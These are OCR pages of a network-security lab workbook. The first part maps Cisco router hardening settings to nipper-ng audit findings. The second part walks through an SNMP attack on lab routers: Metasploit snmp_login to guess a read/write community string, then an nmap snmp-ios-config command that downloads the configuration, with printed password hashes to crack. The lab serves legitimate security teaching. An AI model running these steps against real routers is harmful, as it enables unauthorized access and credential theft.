"Introduction" and "Conclusion", while Router13 has eight. Here is a side-by-side comparison, with
Router12 on the left:

2. Security Audit 2. Security Audit
2.1. Introduction 2.1. Introduction
2.2. Weak Password / Key 2.2. Connection Timeout
2.3. Inbound TCP Connection Keep Alives 2.3. Auxiliary Port
2.4. Connection Timeout 2.4. Telnet
2.5. Auxiliary Port 2.5. Logging
2.6. |IP_Source Routing 2.6. SSH Protocol Version
2.7. Simple Network Management Protocol 2.7. Classless Routing
2.8. Telnet 2.8. Conclusions
2.9. ICMP Redirects
2.10. Logging

2.11. Proxy ARP
2.12. SSH Protocol Version

2.13. Cisco Discovery Protocol

2.14. Classless Routing

2.15. BOOTP

2.16. IP_Unreachables

2.17. Service Password Encryption
2.18. Packet Assembler / Disassembler
2.19. Conclusions

Let's inspect the differences between the two Security Auditing finds. Router12 has following unique
findings when compared with Router13:

e Weak Password / Key

e Inbound TCP Connection Keep Alives

e |P Source Routing

o Simple Network Management Protocol
e ICMP Redirects

e Proxy ARP
e (Cisco Discovery Protocol
e BOOTP

e |P Unreachables
e Service Password Encryption
e Packet Assembler / Disassembler
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Your challenge: research the specific Cisco |0S configuration settings that resulted in Router13
receiving eleven less Security Audit findings when compared with Router12. Inspect the Security Audit
findings in the nipper-ng report for Router12 (click on each link in the Security Audit outline shown
above on the left), and see if you can find a line in the Cisco I0S configuration for Router13 that
mitigated that security issue. Note that some settings are repeated. For example: all of the interfaces
on routerl3 have "no ip proxy arp" configured. Also note: removing functionality (such as SNMP) may
result in fewer findings.

We will directly walk through the first two findings: "Weak Password / Key"and"Inbound
TCP Connection Keep Alives", and fill in a worksheet for those two settings.

Then your challenge is to complete the rest of the worksheet. A full walkthrough follows.

9. Let's investigate the "Weak Password / Key" finding. Click on that link in the report for Router12.

2.2. Weak Password | Key

Observation: Strong passwords tend to contain a number of different types of character, such as uppercase and
lowercase letters, numbers and punctuation characters. Weaker passwords tend not to contain a mixture of character
types. Additionally, weaker passwords tend to be short in length.

Nipper identified one password / key that did not meet the minimum password complexity requirements. The read/write
Simple Network Management Protocol (SNMP) community string was prlv4t3.

Impact: If an attacker were able to gain a password or key, either through dictionary-based guessing techniques or by a
brute-force method, the attacker could gain a level of access to Router12.

Ease: A number of dictionary-based password guessing and password brute-force tools are available on the Internet.
Recommendation: Nipper strongly recommends that the weak password be immediately changed to one that is

stronger. Nipper recommends that passwords be made up of at least eight characters in length and contain either
uppercase or lowercase characters and numbers.

The issue is the SNMP community string ("prlv4t3"). Let's investigate why this finding was not
discovered on Routerl13.

Let's open both "/home/student/router12.conf" and "/home/student/router13.conf" with gedit, so
that we can search both easily.

To do this open gedit. Then click on "File" -> "Open" and choose "/home/student/router12.conf". Then
click on the "+" next to "Open", press "Open" again, and open "/home/student/router13.conf".

Search router12.conf for "prlv4t3". Press <CTRL><F> and search for "priv4t3":
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‘open v H + ‘ rou'te:jlz.con.‘ 1Savei T——

File Edit View Search Tools Documents Help

router12.conf x router13.conf X
|
no ip http server

no ip http secure-server
ip route 10.8.0.0 255.255.0.0 10.5.30.2
|

I
snmp-server community [Jgi'Zie RW
|

|
control-plane
I

brivilege exec level 5 copy running-config
privilege exec level 5 copy

nipper-ng seems to be flagging this line: snmp-server community prlv4t3 RW

Click the gedit tab for router13.conf, and search for "community":

‘Open . H o ( routeT/3.conf ‘Save‘ - 4 %

File Edit View Search Tools Documents Help
router12.conf x router13.conf x

e . -
), community < EJE 2

|

aaa session-id common

no ip source-route

no ip gratuitous-arps

no ip icmp rate-limit unreachable
ip cef

There is no match, which means SNMP is not configured. This is why Router13 did not have a "Weak
Password / Key" finding.
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10. Let's investigate the "Inbound TCP Connection Keep Alives™ finding. Here is the nipper-ng
report section for Router12:

2.3. Inbound TCP Connection Keep Alives

Observation: Connections to a Cisco Router device could become orphaned if a connection becomes disrupted. An
attacker could attempt a Denial of Service (DoS) attack against a Cisco Router by exhausting the number of possible
connections. Transmission Control Protocol (TCP) keep alive messages can be configured to confirm that a remote
connection is valid and then terminate any orphaned connections.

Nipper determined that TCP keep alive messages are not sent for connections from remote hosts.

Impact: An attacker could attempt a DoS by exhausting the number of possible connections.

Ease: Tools are available on the Internet that can open large numbers of TCP connections without correctly terminating
them.

Recommendation: Nipper recommends that TCP keep alive messages be sent to detect and drop orphaned
connections from remote systems. TCP keep alive messages can be enabled for connections from remote systems
using the following command:

service tcp-keepalives-in

Nipper-ng recommends adding the "service tcp-keepalives-in" setting. Search router13.conf for that

setting.
(Open - ” + } routeljf.conf ‘Savel ———
File Edit View Search Tools Documents Help

router12.conf X router13.conf x
| . .
: Q_ keepalives-in € 10f1 l + 3

I Last configuration change at 15:10:28 UT
I

version 15.2

no service pad

service tcp-[IEISNES

service tcp-keepalives-out

service timestamps debug datetime msec localtime show-timezone
service timestamps log datetime msec localtime show-timezone
service password-encryption

service sequence-numbers
|

There it is! This is why Router13 did not receive that finding.

Here is a worksheet, with the first two entries completed. Your challenge: complete the remainder of
the worksheet, following the process we have been using for the first two entries. A full walkthrough
follows. Choose your own difficulty!
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Security Audit Finding Mitigating Factor or Cisco 10S Configuration Setting
Weak Password / Key SNMP is not configured

Inbound TCP Connection service tcp-keepalives-in
Keep Alives

IP Source Routing

Simple Network Management
Protocol

ICMP Redirects

Proxy ARP

Cisco Discovery Protocol

BOOTP

IP Unreachables

Service Password
Encryption

Packet Assembler /
Disassembler
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Worksheet Completion Walkthrough

Note: this section contains a streamlined walkthrough, showing the relevant sections of the nipper-ng

report, and the respective routerl2.conf or router13.conf sections.
11. IP Source Routing

Nipper-ng report section:

2.6. IP Source Routing

disabled.

Nipper determined that IP source routing was not disabled.

traffic by routing it through a system controlled by the attacker.

routes. Tools are also available to modify network routing using vulnerabilities in some routing protocols.

disabled by issuing the following Internet Operating System (I0S) command:

no ip source-route

Observation: IP source routing is a feature whereby a network packet can specify how it should be routed through the
network. Cisco routers normally accept and process source routes specified by a packet, unless the feature has been

Impact: IP source routing can allow an attacker to specify a route for a network packet to follow, possibly to bypass a

Firewall device or an Intruder Detection System (IDS). An attacker could also use source routing to capture network

Ease: An attacker would have to control either a routing device or an end point device in order to modify a packets
route through the network. However, tools are available on the Internet that would allow an attacker to specify source

Recommendation: Nipper recommends that, if not required, IP source routing be disabled. IP source routing can be

Matching router13.conf section:

router13.conf

~/ ‘Save‘ -

[open - | + |

File Edit View Search Tools Documents Help

Q_ noip source-route| € 10f1 ‘ + 3

aaa session-id common

no ip gratuitous-arps

no ip icmp rate-limit unreachable
ip cef

I

router12.conf x router13.conf X

Mitigating Cisco I0S Configuration setting: no ip source-route
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12. Simple Network Management Protoecol

Nipper-ng report section:

2.7. Simple Network Management Protocol

Observation: SNMP is used to assist network administrators in monitoring and managing a wide variety of network
devices. There are three main versions of SNMP in use. Versions 1 and 2 of SNMP are both secured with a community
string and authenticate and transmit network packets without any form of encryption. SNMP version 3 provides several
levels of authentication and encryption. The most basic level provides a similar protection to that of the earlier protocol
versions. However, SNMP version 3 can be configured to provide encrypted authentication (auth) and secured further
with support for encrypted data communications (priv).

Nipper determined that SNMP protocol version 1 was configured on Router12.

Impact: Due to the unencrypted nature of SNMP protocol versions 1 and 2c, an attacker who was able to monitor
network traffic could capture device configuration settings, including authentication details.

Ease: Network packet monitoring and capture tools are widely available on the Internet and SNMP tools are included
as standard with some operating systems.

Recommendation: Nipper recommends that, if possible, SNMP version 1 be disabled. Furthermore, Nipper
recommends that, if SNMP is required, protocol version 3 be configured with Auth and Priv authentication. SNMP
protocol version 1 can be disabled with the following command for each community string:

no snmp-server community {Community String} ([RO] | [RW]}

~ . =

name} {Group Name} v2 auth md5 {Auth Keyword} priv {[2des] | [aes 128] |
}

As we learned previously: Router13 does not run SNMP, which also explains this finding.
13. ICMP Redirects

Nipper-ng report section:

2.9. ICMP Redirects

Observation: Internet Control Message Protocol (ICMP) redirect messages allow systems to change the route that
network traffic takes. On networks with functional network routing, disabling ICMP redirects will have little to no effect.
ICMP redirects are usually enabled by default on Cisco devices.

Nipper determined that the device Router12 had support for ICMP redirects enabled on the network interface
FastEthernet0/0.

Impact: An attacker could use ICMP redirect messages to route network traffic through their own router, possibly
allowing them to monitor network traffic.

Ease: Tools are widely available that can send ICMP redirect messages.

Recommendation: Nipper recommends that, if not required, ICMP redirects be disabled on all network interfaces.
ICMP redirects can be disabled on each individual network interface using the following command:

"t

no ip redirec
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Matching routerl3.conf section:

lOpen . H +' router:/3.conf ‘Save\ e

File Edit View Search Tools Documents Help

router12.conf x router13.conf x

Q_ noip redirects € 10f4 ' * 3

interface FastEthernet0/0

ip address 10.5.30.13 255.255.255.0

no ip unreachables

no ip proxy-arp

ip verify unicast source reachable-via rx 100
duplex full

no mop enabled

I
interface GigabitEthernetl/0
no ip address

no ip redirects

no ip unreachables

no ip proxy-arp

shutdown

negotiation auto

no mop enabled

Mitigating Cisco I0S Configuration setting: no ip redirects
14. Proxy ARP

Nipper-ng report section:

2.11. Proxy ARP

Observation: ARP is a protocol that network hosts use to translate network addresses into media addresses. Under
normal circumstances, ARP packets are confined to the sender's network segment. However, a Cisco router with Proxy
ARP enabled on network interfaces can act as a proxy for ARP, responding to queries and acting as an intermediary.
Nipper identified one interface that had Proxy ARP enabled, FastEthernet0/0.

Impact: A router that acts as a proxy for ARP requests will extend layer two access across multiple network
segments, breaking perimeter security.

Ease: A Cisco device with Proxy ARP enabled will proxy ARP requests for all hosts on those interfaces.

Recommendation: Nipper recommends that, if not required, Proxy ARP be disabled on all interfaces. Proxy ARP can
be disabled on each interface with the following Cisco I0S command:

no ip proxy-arp
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Matching routerl3.conf section:

Open v i B router:l3.conf Save IS

File Edit View Search Tools Documents Help

router12.conf x router13.conf

!

Q noiip proxy-arp| Q 10f4 ‘ f? A 4

|

interface FastEthernet0/0

ip address 10.5.30.13 255.255.255.0

no ip redirects

no ip unreachables

ip verify unicast source reachable-via rx 100
duplex full

no mop enabled

Mitigating Cisco I0S Configuration setting: no ip proxy-arp
15. Cisco Discovery Protocol

Nipper-ng report section:

2.13. Cisco Discovery Protocol

Observation: Cisco Discovery Protocol (CDP) is a proprietary protocol that is primarily used by Cisco, but has been
used by others. CDP allows some network management applications and CDP aware devices to identify each other on
a Local Area Network (LAN) segment. Cisco devices, including switches, bridges and routers are configured to
broadcast CDP packets by default. The devices can be configured to disable the CDP service or disable CDP on
individual network interfaces.

Nipper determined that the CDP service had not been disabled, and additionally, had not been disabled on all the active
network interfaces.

Impact: CDP packets contain information about the sender, such as hardware model information, operating system
version and IP address details. This information would allow an attacker to gain information about the configuration of
the network infrastructure.

Ease: CDP packets are broadcast to an entire network segment. An attacker could use one of the many publicly
available tools to capture network traffic and view the leaked information.

Recommendation: Nipper recommends that, if not required, the CDP service be disabled on the Cisco device
Router12. If CDP is required, Nipper recommends that CDP be disabled on all interfaces except those that are
explicitly required.

The CDP service can be disabled by issuing the following Cisco IOS command:

no cdp run

CDP can be disabled on individual interfaces using the following command:

no cdp enable

In some configurations with IP phones, deployed using either Auto Discovery or Dynamic Host Configuration Protocol

(DHCP), the CDP service may need to be enabled. In this situation CDP should be disabled on all network interfaces
for which it is not required.
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Matching routerl3.conf section:

{Open - H i ' routel:!l3.conf ‘Save’ ——
File Edit View Search Tools Documents Help

router12.conf x router13.conf x
— -
no ip http secure-server Q_ nocdprun Qa 10f1 ]f RIS

ip route 10.8.0.0 255.255.0.0 10.5.30.2
!

!
logging trap debugging
logging facility local2

Mitigating Cisco I0S Configuration setting: no cdp run
16. BOOTP

Nipper-ng report section:

2.15. BOOTP

Observation: BOOTstrap Protocol (BOOTP) is a datagram protocol that allows compatible hosts to load their operating
system over the network from a BOOTP server. Cisco routers are capable of acting as BOOTP servers for other Cisco
devices and the service is enabled by default. However, BOOTP is rarely used and may represent a security risk.

Nipper determined that BOOTP was not disabled. However, it is worth noting that not all Cisco devices support
BOOTP.

Impact: An attacker could use the BOOTP service to download a copy of the router's I0S software.
Ease: Tools are available on the Internet to access BOOTP servers.

Recommendation: Nipper recommends that, if not required, the BOOTP service be disabled. The following command
can be used to disable BOOTP:

no ip bootp server
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Matching routerl3.conf section:

‘Openv’ +’ router:,3.conf ‘Save’ - %

File Edit View Search Tools Documents Help

router12.conf x router13.conf x

i Q_ no ip bootp server] a 10f1 [7f17‘71

no ip bootp serve

no ip domain lookup

ip domain name sec530.org

login block-for 1 attempts 50 within 1
no ipvé cef

I

!

Mitigating Cisco I0S Configuration setting: no ip bootp server

17. IP Unreachables

Nipper-ng report section:

2.16. IP Unreachables

Observation: ICMP IP unreachable messages can be generated by a Cisco device when a host attempts to connect
to a non-existent host, network, or use an unsupported protocol. ICMP IP unreachable messages will let the connecting
host know that the host, network or protocol is not supported or cannot be contacted. Therefore, the host does not
have to wait for a connection time-out. ICMP IP unreachable messages are normally enabled by default on Cisco
devices and must be explicitly disabled.

Nipper determined that the Cisco device Router1l2 had ICMP IP unreachable messages enabled on the interface
FastEthernet0/0.

Impact: An attacker who was performing network scans to determine what services were available would be able to
scan a device more quickly.

Ease: Tools are available on the Internet that can perform a wide variety of scan types.
Recommendation: Nipper recommends that, if not required, IP unreachables be disabled on all network interfaces.
However, whilst disabling IP unreachables will not stop scans, it does make it more difficult for an attacker. The IP

unreachables option is disabled or enabled individually for each network interface. It can be disabled with the following
command:

no ip unreachables
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Matching routerl3.conf section:

IOpen . ‘ﬂ route:ll3.conf @I - + X%

File Edit View Search Tools Documents Help

router12.conf x router13.conf X

I
I

!

interface FastEthernet0/0

ip address 10.5.30.13 255.255.255.0
no ip redirects

no ip proxy-arp

ip verify unicast source reachable-via rx 100
duplex full

no mop enabled

Q_ noip unreachables| €Q 10f4 [ * 3

Mitigating Cisco I0S Configuration setting: no ip unreachables
18. Service Password Encryption

Nipper-ng report section:

2.17. Service Password Encryption

Observation: Cisco service passwords are stored by default in their clear-text form rather than being encrypted.
However, it is possible to have these passwords stored using the reversible Cisco type-7 encryption.

Nipper determined that the Cisco device Router12 was not running the password encryption service that helps provide
a basic level of encryption to passwords that otherwise would be stored in clear-text.

Impact: If a malicious user were to see a Cisco configuration that contained clear-text passwords, they could use the
passwords to access the device. However, an attacker who had access to a Cisco configuration file would easily be
able to reverse the passwords.

Ease: Even though it is trivial to reverse Cisco type-7 passwords, they do provide a greater level of security than clear-
text passwords. Tools are widely available on the Internet that reverse Cisco type-7 passwords.

Recommendation: Nipper recommends that the Cisco password encryption service be enabled. The Cisco password
encryption service can be started with the following Cisco IOS command:

service password-encryption
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Matching routerl3.conf section:

E=XA'EY *

router13.conf ‘ e ‘ ER——

File Edit View Search Tools Documents Help
router12.conf X router13.conf

Q service password-encryption €31 1 of 1 [ 4+ ' I

! Last configuration change at 15:10:28 UT
|

version 15.2

no service pad

service tcp-keepalives-in

service tcp-keepalives-out

service timestamps debug datetime msec localtime show-timezone
service timestamps log datetime msec localtime show-timezone

service password-encryption

service sequence-numbers
|

Mitigating Cisco I0S Configuration setting: service password-encryption
19. Packet Assembler / Disassembler

Nipper-ng report section:

2.18. Packet Assembler | Disassembler

Observation: The Packet Assembler / Disassembler (PAD) service enables X.25 connections between network
systems. The PAD service is enabled by default on most Cisco IOS devices but it is only required if support for X.25
links is necessary.

Nipper determined that the PAD service had not been disabled.

Impact: Running unused services increases the chances of an attacker finding a security hole or fingerprinting a
device.

Ease: N/A

Recommendation: Nipper recommends that, if not required, the PAD service be disabled. Use the following command
to disable the PAD service:

no service pad
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Matching routerl3.conf section:

JOpen - H i routelj/3.conf ‘Save - 4+ x

File Edit View Search Tools Documents Help

router12.conf x router13.conf x

(] e

I
I Last configuration change at 15:10:28 UT
I

version 15.2

no service pad

service tcp-keepalives-in

service tcp-keepalives-out

service timestamps debug datetime msec localtime show-timezone
service timestamps log datetime msec localtime show-timezone
service password-encryption

service sequence-numbers

I

Q_ no service pad a

o

Mitigating Cisco I0S Configuration setting: no service pad
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Worksheet Answer

Security Audit Finding

Mitigating Factor or Cisco 10S Configuration Setting

Weak Password / Key

SNMP is not configured

Inbound TCP Connection
Keep Alives

se

rvice tcp-keepalives-in

IP Source Routing

no

ip source-route

Simple Network Management

SNMP is not configured

Protocol

ICMP Redirects no ip redirects
Proxy ARP no ip proxy-arp
Cisco Discovery Protocol no cdp run

BOOTP no ip bootp server
IP Unreachables no ip unreachables

Service Password service password-encryption
Encryption
Packet Assembler / no service pad
Disassembler
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Exercise 2.2 — Router SNMP Security

Objectives

Connect to the Security 530 router lab network

Perform SNMP enumeration of a router using the SNMP RO (read-only) community string
Guess an SNMP RW (read/write) string on a second router

Use the SNMP RW string to download the router's Cisco 10S configuration

Attempt to crack a password hash found in the downloaded configuration

Lab Introduction

Your company (Sec530, Inc.) has acquired a new subsidiary. Your team has arrived to assess and secure the
network.

Upon hearing this plan, the subsidiary's (only) network engineer "rage quit," and stormed out of the office.
The router credentials are not documented anywhere.

Your goal: gain access to the Cisco 10S configuration for the router at 10.5.30.12, without knowing any
credentials beforehand.

Lab Setup

e Connect to the router lab network. Type the following command:

$ sudo openvpn --config /etc/openvpn/sec530.ovpn

If successful, the output will end with " Initialization Sequence Completed":

v Terminal - student@Security530: ~ =R
File Edit View Terminal Tabs Help
Thu Mar 1 10:52:54 2018 TUN/TAP device tun® opened
Thu Mar 1 10:52:54 2018 TUN/TAP TX queue length set to 100
Thu Mar 1 10:52:54 2018 do_ifconfig, tt->ipv6=0, tt->did ifconfig ipv6_setup=0
Thu Mar 1 10:52:54 2018 /sbin/ip link set dev tun® up mtu 15600
Thu Mar 1 10:52:54 2018 /sbin/ip addr add dev tun® local 10.8.0.6 peer 10.8.0.5
Thu Mar 1 10:52:54 2018 /etc/openvpn/update-resolv-conf tun® 1500 1572 10.8.0.6 10.8.0.5 init
Thu Mar 1 10:52:54 2018 /sbin/ip route add 10.5.30.0/24 via 10.8.0.5
Thu Mar 1 10:52:54 2018 /sbin/ip route add 10.8.0.1/32 via 10.8.0.5
Thu Mar 1 10:52:54 2018 GID set to nogroup 7
Thu Mar 1 10:52:54 2018 UID set to nobody
;hu Mar 1 10:52:54 2018 Initialization Sequence Completed
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e Please note: If you are using a corporate or personal VPN on your host computer, disconnect it, as it may
disallow a second VPN connection to the SEC530 environment.

e Ping a router on the lab network. Type the following command:

$ ping -c4 10.5.30.10

You see the following output if you are successful:

M Terminal - student@Security530: ~ - 4+ X

File Edit View Terminal Tabs Help

[~]1$ ping -c4 10.5.30.10

PING 10.5.30.10 (10.5.30.10) 56(84) bytes of data.

64 bytes from 10.5.30.10: icmp seg=1 ttl=254 time=14.0 ms
64 bytes from 10.5.30.10: icmp segq=2 ttl=254 time=8.79 ms
64 bytes from 10.5.30.10: icmp seq=3 ttl=254 time=15.5 ms
64 bytes from 10.5.30.10: icmp seq=4 tt1=254 time=11.6 ms

--- 10.5.30.10 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 8.791/12.511/15.566/2.565 ms

[~1%

Lab: No-Hints Version

Perform the following steps:

1. Use the Metasploit msfconsole snmp_enum auxiliary module to scan 10.5.30.10

2. Use the Metasploit msfconsole snmp_login auxiliary module to guess the SNMP RW string on
10.5.30.12

3. Once discovered: use the SNMP RW string to run the snmp_enum auxiliary module to scan
10.5.30.12

4. Use nmap to download the Cisco 10S configuration on 10.5.30.12. Run Wireshark to determine
what protocol nmap uses to download the configuration

5. Use John the Ripper to crack the hash for user "test"

6. Loginto 10.5.30.12 as user "test" via SSH

A complete walkthrough follows, including step-by-step instructions. Students with experience using
Metasploit. Nmap, and Cisco I0S may attempt this without hints. The previous lecture also contains some
hints.

The rest of us should proceed to the next section. Choose your own adventure!
Perform the following steps:
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Lab: Step-by-Step Instructions

1. We will scan 10.5.30.10 with Metasploit. Start msfconsole (the Metasploit Framework console). The
"sudo" password is "Security530":

S sudo msfconsole

Metasploit's msfconsole will open (a bit slowly). You may ignore this warning: "This copy of metasploit-
framework is more than two weeks old. Consider running 'msfupdate' to update to the latest version."

Note that the ASCII art is randomly selected, and yours may be different.

v Terminal - student@Security530: ~ X
File Edit View Terminal Tabs Help

[~]1$ sudo msfconsole

[sudo] password for student:
This copy of metasploit-framework is more than two weeks old.
Consider running 'msfupdate' to update to the latest version.

. :0k000kdc" 'cdk000ko: .
.x000000000000c c000000000000x .
:000000000000000k, , k000000000000000:

'000000000kkkk00000: :000000000000000000"
000000000 . MMMM. 00000000001 .MMMM, 000000000
d00000000 . MMMMMM . c00000c . MMMMMM, 00000000x
100000000 . MMMMMMMMM; d ; MMMMMMMMM , 000000001
.00000000.MMM. ; MMMMMMMMMMM ; MMMM, 00000000.
c0000000.MMM.00c .MMMMM ' 000.MMM, 0000000c
0000000.MMM.0000.MMM:0000.MMM, 0000000
100000.MMM.0000.MMM: 0000 .MMM, 000001
;0000'MMM.0000.MMM:0000.MMM; 0000;
.d00o0 'WM.00000cccx0000.MX"'x00d.
,kO1'M.0000000000000.M"'d0Ok,
:kk; .0000000000000. ;Ok:

;k000000000000006k:
,x00000000000x,
.100000001.
,dod,

=[ metasploit v4.16.45-dev- ]
+ -- --=[ 1744 exploits - 999 auxiliary - 302 post ]
+ -- --=[ 529 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >

We will use msfconsole's "snmp_enum" auxiliary scanner. Type the following (note the variable name is
RHOSTS (ending with an "S"):

msf > use auxiliary/scanner/snmp/snmp enum
msf > set RHOSTS 10.5.30.10
msf > run
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You see the following output if you are successful (screenshot is truncated)

File Edit View Terminal Tabs Help

msf > use auxiliary/scanner/snmp/snmp_enum

msf auxiliary(scanner/snmp/snmp _enum) > set RHOSTS 10.5.30.10
RHOSTS => 10.5.30.10

msf auxiliary(scanner/snmp/snmp_enum) > run

10.5.30.10, Connected.

[*] System information:

Host IP : 16.5.30.10
Hostname : R10.sec530.com
Description : Cisco IO0S Software, 7200 Software (C7200-ADVIPSE

RVICESK9-M), Version 15.2(4)S5, RELEASE SOFTWARE (fcl) Technical Support: http:

piled Thu 20-Feb-14 06:51 by prod rel team
Contact I
Location 3 =
Uptime snmp z =
Uptime system : 00:18:07.26
System date g -

[*] Network information:

IP forwarding enabled . yes

v Terminal - student@Security530: ~ - + X

//www.cisco.com/techsupport Copyright (c) 1986-2014 by Cisco Systems, Inc. Com

Note the Cisco I0S description: "Cisco IOS Software, 7200 Software (C7200-

ADVIPSERVICESK9-M), Version 15.2(4)S35, RELEASE SOFTWARE (fcl) Technical
Support: http://www.cisco.com/techsupport Copyright (c) 1986-2014 by
Cisco Systems, Inc. Compiled Thu 20-Feb-14 06:51 by prod rel team'.

2. This msfconsole module worked because the router used an SNMP RO (read-only) community string of
"public". As discussed previously in 530.2: the SNMP RW (read/write) community string will allow us to

download the router's I0S configuration. Let's try to guess that on a different router.

The router at 10.5.30.12 has an SNMP RW community string (10.5.30.10 has only a RO string set).

Type the following in msfconsole. Note We are using a new module (snmp_login), and choosing a new

RHOSTS value (10.5.30.12):

msf > use auxiliary/scanner/snmp/snmp login
msf > set RHOSTS 10.5.30.12
msf > run
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v Terminal - student@Security530: ~ - + X

File Edit View Terminal Tabs Help

msf auxiliary(scanner/snmp/snmp_enum) > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login) > set RHOSTS 10.5.30.12

RHOSTS => 10.5.30.12

msf auxiliary(scanner/snmp/snmp_login) > run

No active DB -- Credential data will not be saved!
10.5.30.12:161 - Login Successful: prlv4t3 (Access level: read-write); Proof (sysDescr.®): Cisco
10S Software, 7200 Software (C7200-ADVIPSERVICESK9-M), Version 15.2(4)S5, RELEASE SOFTWARE (fcl)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2014 by Cisco Systems, Inc.
Compiled Thu 20-Feb-14 06:51 by prod rel team
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/snmp/snmp_login) > |}

You should see a line beginning with" [+] 10.5.30.12:161 - Login Successful:
prlv4t3 (Access level: read-write)"

The SNMP RW string is "prlv4t3".

3. Let's first verify the string works to read. We will re-run snmp_enum module we ran two steps
previously, change the RHOSTS to 10.5.30.12, and provide the SNMP RW community string of
"priv4t3". Please type that string carefully: it's easy to make a typo due to the "leetspeak' (using
numbers for letters, etc).

msf > use auxiliary/scanner/snmp/snmp enum

msf > set RHOSTS 10.5.30.12

msf > set COMMUNITY prlv4t3

msf > run

v Terminal - student@Security530: ~ — R

File Edit View Terminal Tabs Help

msf auxiliary(scanner/snmp/snmp login) > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.5.30.12

RHOSTS => 10.5.30.12

msf auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY prlv4t3

COMMUNITY => prlv4t3

msf auxiliary(scanner,’snmp"'snmpienum) > run

10.5.30.12, Connected.

[*] System information:

Host IP : 10.5.30.12
Hostname : R11 ;
Description : Cisco IOS Software, 7200 Software (C7200-ADVIPSERVICESK9-M), Version |

15.2(4)S5, RELEASE SOFTWARE (fcl) Technical Support: http://www.cisco.com/techsupport Copyright (
c) 1986-2014 by Cisco Systems, Inc. Compiled Thu 20-Feb-14 06:51 by prod _rel team

Contact -

Location T -

4. The SNMP RW string works as a read string (as designed). As we discussed previously in 530.2: the SNMP
RW string allows downloading the Cisco 10S configuration. Let's try that! We will monitor with Wireshark,
to better understand how nmap downloads the 10S configuration.
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Open Wireshark, and sniff traffic on the "tun0" (tunnel) adapter. Click on the Wireshark icon (in the upper
panel, towards the left).

Highlight the "tun0" adapter, and begin capturing by pressing the blue fin icon in the upper left corner

v The Wireshark Network Analyzer
File Edix View Go Capture Analyze Statistics Telephony Wireless Tools Help
4 2: fin icon XHG Q - = 248 © . =

N
R | Apply Ndisplay filter ... <Ctrl-/

Welcome to Wireshark

Capture

...using this | % ™ _ser a capture filter
eth0

any A LA
Loopback: lo —
bluetooth0 | I
nflog
nfqueue
usbmon1
usbmon2

@ Cisco remote capture: cisco

@ Random packet generator: randpkt

@ SSH remote capture: ssh

5. The router at 10.5.30.12 has an SNMP RW community string (10.5.30.10 has only a RO string set).

Let's use nmap to try to guess the RW string. Open a new terminal (leave msfconsole running, we will go
back to it shortly). Type the following command as one continuous line. It is tricky to type, so here are a
few pointers:
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There is a space between "--script-args" and "creds.snmp=:prlv4t3 10.5.30.12" (see the

screenshot below, which shows the continuous line). Also remember to include the colon in
"creds.snmp=:prlv4t3".

Type the following nmap command in the new terminal:

$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args
creds.snmp=:prlv4t3 10.5.30.12

v Terminal - student@Security530: ~ - + X

File Edit View Terminal Tabs Help
[~]$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:prlv4t3 10.5.30.12

Starting Nmap 7.01 ( https://nmap.org ) at 2018-03-07 10:13 EST
Nmap scan report for 10.5.30.12
Host is up (0.025s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-ios-config:
I

| Last configuration change at 10:13:02 UTC Wed Mar 7 2018
|}

version 15.2

service timestamps debug datetime msec

service timestamps log datetime msec

|}

ﬁostname R11

I
boot-start-marker
boot-end-marker

|}

I

!

no aaa new-model
no ip icmp rate-limit unreachable
ip cef

I

no ip domain lookup
no ipvé cef

!

|}

ﬁultilink bundle-name authenticated
I

username test privilege 5 secret 5 $1$HhfI$fqJaSq68HFIYseKRPK8FsO |
username instructor privilege 15 secret 5 $1$R4p8$r19WI00Xwo0Xiq9DND6GY/ -
I

!

ip tcp synwait-time 5
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The (truncated) output is shown above.

6. Go back to Wireshark, to see how nmap downloaded the Cisco 10S configuration.

v Capturing from tun0 - + X

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

dm| e =7 %7 ] e

O =|lletielioles:

3 ~| Expression.. +

0.041026452
.055839849

0. 0.8 5%
16 0.496212738 10.5.30.12 10.8.0.6 SNMP
17 0.496656510 10.8.0.6 10.5.30.12  SNMP
18 0.526644672 10.5.30.12 10.8.0.6 SNMP
19 0.527057384 10.8.0.6 10.5.30.12  SNMP
20 0.542137972 10.5.30.12 10.8.0.6 SNMP
21 0.542471736 10.8.0.6 10.5.30.12  SNMP
22 0.557762004 10.5.30.12 10.8.0.6 SNMP
23 0.558060600 10.8.0.6 10.5.30.12  SNMP
24 0.573456929 10.5.30.12 10.8.0.6 SNMP
25 0.573886545 10.8.0.6 10.5.30.12  SNMP
26 0.588773471 10.5.30.12 10.8.0.6 SNMP
27 0.589175774 10.8.0.6 10.5.30.12  SNMP
28 0.615058922 10.5.30.12 10.8.0.6 SNMP
29 0.615360144 10.8.0.6 10.5.30.12  SNMP
30 0.625424011 10.5.30.12 10.8.0.6 SNMP
31 1.239863572 10.5.30.12 10.8.0.6 TFTP
32 1.240109053 10.8.0.6 10.5.30.12 TFTP
33 1.270967266 10.5.30.12 10.8.0.6 TFTP
34 1.271161188 10.8.0.6 10.5.30.12 TFTP
35 1.286471423 10.5.30.12 10.8.0.6 TFTP
36 1.286754453 10.8.0.6 10.5.30.12 TFTP
37 1.303933819 10.5.30.12 10.8.0.6 TFTP
38 1.309665654 10.8.0.6 10.5.30.12 TFTP
39 1.310208083 10.8.0.6 10.5.30.12  SNMP
40 1.395645365 10.5.30.12 10.8.0.6 SNMP
41 1.396091980 10.8.0.6 10.5.30.12  SNMP
42 1.410993794 10.5.30.12 10.8.0.6 SNMP

No. Time Source Destination Protocol ' Lengtl Info

0 443 —~ 46365 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

0 80 —~ 46365 [RST] Seg=1 Wil Len=0
Timestamp reply id=0x264a, seq=0/0, ttl=254
get-request

report 1.3.6.1.6.3.
tination
get-request
report 1.3.6.1.6.3.15.1.1.4.

estination

